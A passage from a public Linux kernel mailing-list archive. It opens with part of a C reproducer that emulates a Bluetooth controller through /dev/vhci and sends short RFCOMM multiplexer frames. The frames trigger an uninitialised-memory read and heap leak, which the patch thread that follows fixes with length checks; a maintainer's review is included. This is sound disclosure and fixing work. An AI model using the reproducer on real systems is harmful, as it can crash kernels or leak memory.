    uint8_t f[] = {a, c, (5<<1)|1, (RFCOMM_MCC_PN<<2)|3, (3<<1)|1,
                   dlci, 0xe0, 0x00, fcs2(a, c)};
    send_acl(remote_cid, f, sizeof(f));
}

static void send_short_rpn(uint8_t dlci)
{
    uint8_t a = RFCOMM_ADDR(1, 0);
    uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
    uint8_t f[] = {a, c, (4<<1)|1, (RFCOMM_MCC_RPN<<2)|3, (2<<1)|1,
                   (dlci<<2)|3, 0x00, fcs2(a, c)};
    send_acl(remote_cid, f, sizeof(f));
}

static void rfcomm_client(void)
{
    struct { uint16_t family; uint8_t addr[6]; uint8_t channel; } sa = {0};

    while (access("/tmp/vhci_ready", F_OK)) usleep(100000);
    sleep(1);

    int fd = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    sa.family = AF_BLUETOOTH;
    sa.addr[0] = 0xff; sa.addr[1] = 0xee; sa.addr[2] = 0xdd;
    sa.addr[3] = 0xcc; sa.addr[4] = 0xbb; sa.addr[5] = 0xaa;
    sa.channel = 1;
    connect(fd, (void *)&sa, sizeof(sa));
    while (1) sleep(1);
}

static void hci_cmd(uint8_t *buf)
{
    uint16_t op = buf[1] | (buf[2] << 8);

    switch (op) {
    case 0x0c03: case 0x0c01: case 0x0c45: case 0x0c52: case 0x080f: case 0x2074:
    case 0x0c16: case 0x0c18: case 0x0c19: case 0x0c1a: case 0x0c6d: case 0x0c46:
    case 0x0c24: case 0x0c13: case 0x2001:
        { uint8_t p[] = {0}; send_cc(op, p, 1); } break;

    case 0x0c58: case 0x0c38: case 0x0c39: case 0x0c44: case 0x2016: case 0x203b:
        { uint8_t p[] = {0, 0}; send_cc(op, p, 2); } break;

    case 0x0c25: case 0x100b:
        { uint8_t p[] = {0, 0, 0}; send_cc(op, p, 3); } break;

    case 0x0c23: { uint8_t p[] = {0, 0, 1, 0}; send_cc(op, p, 4); } break;
    case 0x2002: { uint8_t p[] = {0, 0xfb, 0, 8}; send_cc(op, p, 4); } break;
    case 0x0c1c: case 0x2023: { uint8_t p[] = {0,0,0,0,0}; send_cc(op, p, 5); } break;
    case 0x0c0d: { uint8_t p[] = {0, ACL_HANDLE&0xff, ACL_HANDLE>>8, 0, 0}; send_cc(op, p, 5); } break;
    case 0x100a: { uint8_t p[] = {0, 0, 4, 0, 8, 0}; send_cc(op, p, 6); } break;
    case 0x1009: { uint8_t p[] = {0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; send_cc(op, p, 7); } break;
    case 0x2060: case 0x2061: case 0x2062: { uint8_t p[7] = {0}; send_cc(op, p, 7); } break;
    case 0x1005: { uint8_t p[] = {0, 0, 4, 0x40, 8, 0, 8, 0}; send_cc(op, p, 8); } break;
    case 0x1001: case 0x1003: case 0x2003:
        { uint8_t p[] = {0, 0xff, 0xff, 0x8f, 0xfe, 0xdb, 0xff, 0x5b, 0x87}; send_cc(op, p, 9); } break;
    case 0x201c: case 0x202f:
        { uint8_t p[] = {0, 0xfb, 0, 0x48, 8, 0xfb, 0, 0x48, 8}; send_cc(op, p, 9); } break;
    case 0x1004: { uint8_t p[11] = {0}; p[3] = 7; send_cc(op, p, 11); } break;
    case 0x1002: { uint8_t p[65] = {0}; p[5]=0xff; p[6]=0xff; p[7]=0xff; p[14]=8; send_cc(op, p, 65); } break;
    case 0x0c14: { uint8_t p[249] = {0}; send_cc(op, p, 249); } break;

    case 0x0c12: {
        uint8_t p[] = {0, 0, 0}; send_cc(op, p, 3);
        static int ready = 0;
        if (!ready) { ready = 1; close(open("/tmp/vhci_ready", O_CREAT|O_WRONLY, 0644)); }
    } break;

    case 0x0405: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 5, 4};
        write(vhci_fd, cs, 7);
        usleep(100000);
        uint8_t cn[] = {0x04, 0x03, 11, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        0xff, 0xee, 0xdd, 0xcc, 0xbb, 0xaa, 1, 0};
        write(vhci_fd, cn, 14);
    } break;

    case 0x041b: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x1b, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[] = {0x04, 0x0b, 11, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        0xff, 0xff, 0x8f, 0xfe, 0xdb, 0xff, 0x5b, 0x87};
        write(vhci_fd, ev, 14);
    } break;

    case 0x041c: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x1c, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[] = {0x04, 0x23, 13, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        1, 2, 7, 0, 0, 0, 0, 0, 0, 0};
        write(vhci_fd, ev, 16);
    } break;

    case 0x0419: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x19, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[258] = {0x04, 0x07, 255, 0, 0xff, 0xee, 0xdd, 0xcc, 0xbb, 0xaa};
        write(vhci_fd, ev, 258);
    } break;

    default:
        { uint8_t p[] = {0}; send_cc(op, p, 1); } break;
    }
}

static void execute(void)
{
    uint8_t buf[512];
    int dlc_connected = 0;
    uint8_t dlci = 0;

    vhci_fd = open("/dev/vhci", O_RDWR);
    write(vhci_fd, "\xff\x00", 2);

    while (!dlc_connected) {
        struct pollfd pfd = {vhci_fd, POLLIN, 0};
        if (poll(&pfd, 1, 100) <= 0) continue;

        int len = read(vhci_fd, buf, 512);
        if (len <= 0) continue;

        if (buf[0] == 0x01) {
            hci_cmd(buf);
        }
        else if (buf[0] == 0x02 && len >= 9) {
            uint16_t cid = buf[7] | (buf[8] << 8);

            if (cid == L2CAP_CID_SIG) {
                uint8_t code = buf[9], id = buf[10];

                if (code == 0x02) {
                    local_cid = buf[15] | (buf[16] << 8);
                    uint8_t r[] = {3, id, 8, 0, remote_cid&0xff, remote_cid>>8,
                                   local_cid&0xff, local_cid>>8, 0, 0, 0, 0};
                    send_acl(L2CAP_CID_SIG, r, 12);
                }
                else if (code == 0x04) {
                    uint8_t r[] = {5, id, 6, 0, local_cid&0xff, local_cid>>8, 0, 0, 0, 0};
                    send_acl(L2CAP_CID_SIG, r, 10);
                    usleep(50000);
                    uint8_t c[] = {4, 0x10, 4, 0, local_cid&0xff, local_cid>>8, 0, 0};
                    send_acl(L2CAP_CID_SIG, c, 8);
                }
                else if (code == 0x0a) {
                    uint16_t t = buf[13] | (buf[14] << 8);
                    if (t == 2) {
                        uint8_t r[] = {0x0b, id, 8, 0, 2, 0, 0, 0, 0x80, 2, 0, 0};
                        send_acl(L2CAP_CID_SIG, r, 12);
                    } else if (t == 3) {
                        uint8_t r[] = {0x0b, id, 0x0c, 0, 3, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0};
                        send_acl(L2CAP_CID_SIG, r, 16);
                    }
                }
            }
            else if (cid == remote_cid && len >= 12) {
                uint8_t addr = buf[9], ctrl = buf[10];
                uint8_t d = (addr >> 2) & 0x3f;

                if ((ctrl & 0xef) == RFCOMM_SABM) {
                    uint8_t cr = (addr >> 1) & 1;
                    uint8_t ua_a = RFCOMM_ADDR(cr ? 0 : 1, d);
                    uint8_t ua_c = RFCOMM_CTRL(RFCOMM_UA, 1);
                    uint8_t ua[] = {ua_a, ua_c, 1, fcs3(ua_a, ua_c, 1)};
                    send_acl(remote_cid, ua, 4);
                    if (d) { dlci = d; dlc_connected = 1; }
                }
                else if ((ctrl & 0xef) == RFCOMM_UIH && d == 0 && len >= 14) {
                    if ((buf[12] >> 2) == RFCOMM_MCC_PN && (buf[12] & 2)) {
                        uint8_t pd = buf[14];
                        uint8_t a = RFCOMM_ADDR(1, 0);
                        uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
                        uint8_t f[] = {a, c, (10<<1)|1, (RFCOMM_MCC_PN<<2)|1, (8<<1)|1,
                                       pd, 0xe0, 0, 0, 0x9b, 2, 0, 7, fcs2(a, c)};
                        send_acl(remote_cid, f, 14);
                    }
                }
            }
        }
    }

    usleep(100000);
    send_short_pn(dlci);
    usleep(100000);
    send_short_rpn(dlci);
    sleep(2);
}

int main(void)
{
    unlink("/tmp/vhci_ready");

    pid_t pid = fork();
    if (pid == 0) {
        rfcomm_client();
        return 0;
    }

    execute();
    kill(pid, SIGKILL);
    waitpid(pid, NULL, 0);
    return 0;
}

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers
  2026-04-12  4:54 [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers SeungJu Cheon
  2026-04-12  7:37 ` Paul Menzel
@ 2026-04-13 18:19 ` Luiz Augusto von Dentz
  1 sibling, 0 replies; 4+ messages in thread
From: Luiz Augusto von Dentz @ 2026-04-13 18:19 UTC (permalink / raw)
  To: SeungJu Cheon
  Cc: linux-bluetooth, marcel, kees, kuba, me, shuah,
	linux-kernel-mentees, linux-kernel

Hi,

On Sun, Apr 12, 2026 at 12:55 AM SeungJu Cheon <suunj1331@gmail.com> wrote:
>
> rfcomm_recv_pn(), rfcomm_recv_rpn(), rfcomm_recv_rls(), and
> rfcomm_recv_msc() cast skb->data to their respective structs
> without first checking skb->len. A remote device can send a
> short MCC frame, causing out-of-bounds reads from the skb buffer.
>
> For rfcomm_recv_pn(), the uninitialized pn->mtu value is stored
> in d->mtu via rfcomm_apply_pn(), then echoed back to the remote
> device in the PN response, leaking kernel heap data.
>
> This results in use of uninitialized memory, as reported by KMSAN.
>
> Add explicit skb->len checks against the expected structure size
> at the start of each handler before accessing the payload.
>
> =====================================================
> BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
>  rfcomm_run+0x7eae/0xee90
>  kthread+0x53f/0x600
>  ret_from_fork+0x20f/0x910
>  ret_from_fork_asm+0x1a/0x30
>
> Uninit was created at:
>  kmem_cache_alloc_node_noprof+0x3cd/0x12d0
>  __alloc_skb+0x855/0x1190
>  vhci_write+0x125/0x960
>  vfs_write+0xbe1/0x15c0
>  ksys_write+0x1d9/0x470
>  __x64_sys_write+0x97/0xf0
>  x64_sys_call+0x2ff0/0x3ea0
>  do_syscall_64+0x134/0xf80
>  entry_SYSCALL_64_after_hwframe+0x77/0x7f
>
> CPU: 0 UID: 0 PID: 3374 Comm: krfcommd Tainted: G        W           7.0.0-rc7
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
> Kernel panic - not syncing: kmsan.panic set ...
> =====================================================
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: SeungJu Cheon <suunj1331@gmail.com>
> ---
>  net/bluetooth/rfcomm/core.c | 40 +++++++++++++++++++++++++++++--------
>  1 file changed, 32 insertions(+), 8 deletions(-)
>
> diff --git a/net/bluetooth/rfcomm/core.c b/net/bluetooth/rfcomm/core.c
> index 611a9a94151e..daeba71a1514 100644
> --- a/net/bluetooth/rfcomm/core.c
> +++ b/net/bluetooth/rfcomm/core.c
> @@ -1431,9 +1431,15 @@ static int rfcomm_apply_pn(struct rfcomm_dlc *d, int cr, struct rfcomm_pn *pn)
>
>  static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>  {
> -       struct rfcomm_pn *pn = (void *) skb->data;
> +       struct rfcomm_pn *pn;
>         struct rfcomm_dlc *d;
> -       u8 dlci = pn->dlci;
> +       u8 dlci;
> +
> +       if (skb->len < sizeof(*pn))
> +               return -EINVAL;
> +
> +       pn = (void *) skb->data;
> +       dlci = pn->dlci;

How about using skb_pull_data?

>         BT_DBG("session %p state %ld dlci %d", s, s->state, dlci);
>
> @@ -1483,8 +1489,8 @@ static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>
>  static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_buff *skb)
>  {
> -       struct rfcomm_rpn *rpn = (void *) skb->data;
> -       u8 dlci = __get_dlci(rpn->dlci);
> +       struct rfcomm_rpn *rpn;
> +       u8 dlci;
>
>         u8 bit_rate  = 0;
>         u8 data_bits = 0;
> @@ -1495,6 +1501,12 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
>         u8 xoff_char = 0;
>         u16 rpn_mask = RFCOMM_RPN_PM_ALL;
>
> +       if (skb->len < sizeof(*rpn))
> +               return -EINVAL;
> +
> +       rpn = (void *) skb->data;
> +       dlci = __get_dlci(rpn->dlci);

Ditto

>         BT_DBG("dlci %d cr %d len 0x%x bitr 0x%x line 0x%x flow 0x%x xonc 0x%x xoffc 0x%x pm 0x%x",
>                 dlci, cr, len, rpn->bit_rate, rpn->line_settings, rpn->flow_ctrl,
>                 rpn->xon_char, rpn->xoff_char, rpn->param_mask);
> @@ -1589,8 +1601,14 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
>
>  static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>  {
> -       struct rfcomm_rls *rls = (void *) skb->data;
> -       u8 dlci = __get_dlci(rls->dlci);
> +       struct rfcomm_rls *rls;
> +       u8 dlci;
> +
> +       if (skb->len < sizeof(*rls))
> +               return -EINVAL;
> +
> +       rls = (void *) skb->data;
> +       dlci = __get_dlci(rls->dlci);

Ditto

>         BT_DBG("dlci %d cr %d status 0x%x", dlci, cr, rls->status);
>
> @@ -1608,9 +1626,15 @@ static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb
>
>  static int rfcomm_recv_msc(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>  {
> -       struct rfcomm_msc *msc = (void *) skb->data;
> +       struct rfcomm_msc *msc;
>         struct rfcomm_dlc *d;
> -       u8 dlci = __get_dlci(msc->dlci);
> +       u8 dlci;
> +
> +       if (skb->len < sizeof(*msc))
> +               return -EINVAL;
> +
> +       msc = (void *) skb->data;
> +       dlci = __get_dlci(msc->dlci);

Ditto.

>         BT_DBG("dlci %d cr %d v24 0x%x", dlci, cr, msc->v24_sig);
>
> --
> 2.52.0
>


-- 
Luiz Augusto von Dentz

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-04-13 18:19 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-12  4:54 [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers SeungJu Cheon
2026-04-12  7:37 ` Paul Menzel
2026-04-12 12:39   ` SeungJu Cheon
2026-04-13 18:19 ` Luiz Augusto von Dentz

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox